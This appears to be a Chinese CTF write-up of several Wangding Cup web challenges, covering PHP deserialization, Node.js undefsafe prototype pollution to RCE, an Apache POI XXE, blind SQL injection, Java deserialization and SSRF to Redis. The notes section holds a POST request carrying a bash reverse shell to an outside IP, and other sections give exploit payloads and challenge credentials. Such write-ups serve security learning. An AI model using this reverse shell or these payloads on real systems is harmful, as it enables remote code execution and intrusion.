网鼎杯青龙组 Web 题目难度终于不是只有大佬才可以做出来了(
AreUSerialz
打开就能看到源码,发现是反序列化。
__destruct
没办法绕过重置 content,只能考虑利用 read 方法了,那么只能读 flag.php 拿到 flag 了。
从 404 页面拿到了 docker 信息,拉下来 docker,找到了 web 目录的路径,op 和字符串 2 的判断用数字绕过就行,\x00 的过滤需要把成员变量的属性改掉,构造如下:
<?php
// include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "/web/html/flag.php";
$this->content = "";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
return false;
}
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
$o=new FileHandler();
var_dump(urlencode(serialize($o)));
提交。
听其他师傅说,如果读相对路径可以直接使用伪协议读取。
刚刚看到 P 神提到了之前的 tip,可以用可读化形式重写,即大写 S 标志后,后面的字符串可用 16 进制表示,比如其中的 protected 成员变量 op 可以写为S:5:"\00*\00op"
notes
下载源码发现是 nodejs,看了一遍发现不像是 xss,但是出现了一个不认识的函数 undefsafe
,搜一下发现有过原型链污染的洞,题目源码里也没有提到 flag 获取方式,没有找到明显的未定义引用,可能是要打 RCE。
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
先看了看模板,发现是 pug,先下载下来搜一下 eval,好像要挖一下(挖好久。。),想到了 VK 师傅写的分享,他提了一句没挖到(狗头,那先干点别的。
又看看其他地方,发现用了 exec,可能这一块有问题
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
但是没有办法直接控制 exec 的参数。
先试一下原型链的 POC,
var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);
和常见的利用方式有点区别,但是能够能够污染调用。
如果要通过 exec 打 RCE,那么 commands 或者 option 部分可控,即可以在 {} 中添加 key,使其可以被遍历。先看了看 option 部分,在手册中没有发现能够利用的点,只能试一下 commands 部分,先验证一下
var a = require("undefsafe");
var payload = "__proto__.a";
a({},payload,"ifconfig");
console.log({}['a']);
const { exec } = require('child_process');
let commands = {
"script-1": "ls",
"script-2": "pwd"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
控制台输出了 ifconfig 的结果,应该是成功添加了 a 的 key,下面就是找一个 undefsafe 可控的三参数调用。
class Notes {
……
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
……
}
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
刚好可以通过请求控制参数
POST /edit_note HTTP/1.1
Host: f9d84d3db2e54d218352b998dcd8c976c4540fdf37b94829.cloudgame2.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1573354656; __jsluid_h=12ae2b03e09a34391eace0c76db36c93
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
id=__proto__.a&author=bash+-i+>%26+/dev/tcp/139.199.x.x/8999+0>%261&raw=123
然后访问 status 触发 exec 即可。
filejava
上传文件后可以下载,发现存在任意文件下载
通过 web.xml
拉源码,分别是上传,列文件,下载三部分。
过滤了 flag 不能直接下载,列文件好像不能构造请求直接访问,但是上传中存在一个 excel 解析,看到过类似利用导致 XXE 的问题。
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
……
String filename = fileItem.getName();
if (filename != null && !filename.trim().equals("")) {
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);
感觉有可能也是一个 xxe,查一下 WorkbookFactory,可以找到
http://www.lmxspace.com/2019/12/13/Apache-Poi-XXE-Analysis/#漏洞复现
发现有 CVE,新建一个 xlsx,添加 payload,先打一个 SSRF 看一下,发现可以收到请求,直接构造 oob 打一下
trace
没有来得及做出来。insert 有 20 次限制,过滤了 infomation,从 sys 库读信息没测试成功。
绕过 insert 限制需要在插入时报错,使用时间盲注。构造类似
insert into user values('1',(select if(ord(substr(xx,1,1))=80,exp(9999) or sleep(3),exp(9999))));
think java 3rd
读部分源码
存在注入,构造一下就行了 jdbc:mysql://mysqldbserver:3306/xx?a=' union select 1
,可以看到回显,最终可以打到账号密码,在 myapp.user,有一个账户,admin admin@Rrrr_ctf_asde,根据扫到链接,有一个 swagger-ui.html,其中 /common/user/login
可以登录,返回一个 auth 头,另外一条 /common/user/current
查看用户信息,auth 头是一个序列化后的信息,猜测可以反序列化。
ysoserial 打一遍所有的 payload ..(URLDNS 可以确认存在反序列化),拿到 flag(buu 内网环境操作起来头大。
看一下源码
确实是这个逻辑。
SSRFme 4th
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
用 0.0.0.0
或者 DNS rebinding 访问 hint.php 可以拿到 redis 的密码 redispass is welcometowangdingbeissrfme6379
,dict 访问 6379 发现本机开机了 redis,并且版本是 5.0.8,考虑主从同步打 RCE,使用 https://github.com/xmsec/redis-ssrf 生成 payload,远程监听,读 flag 即可(或者反弹 shell)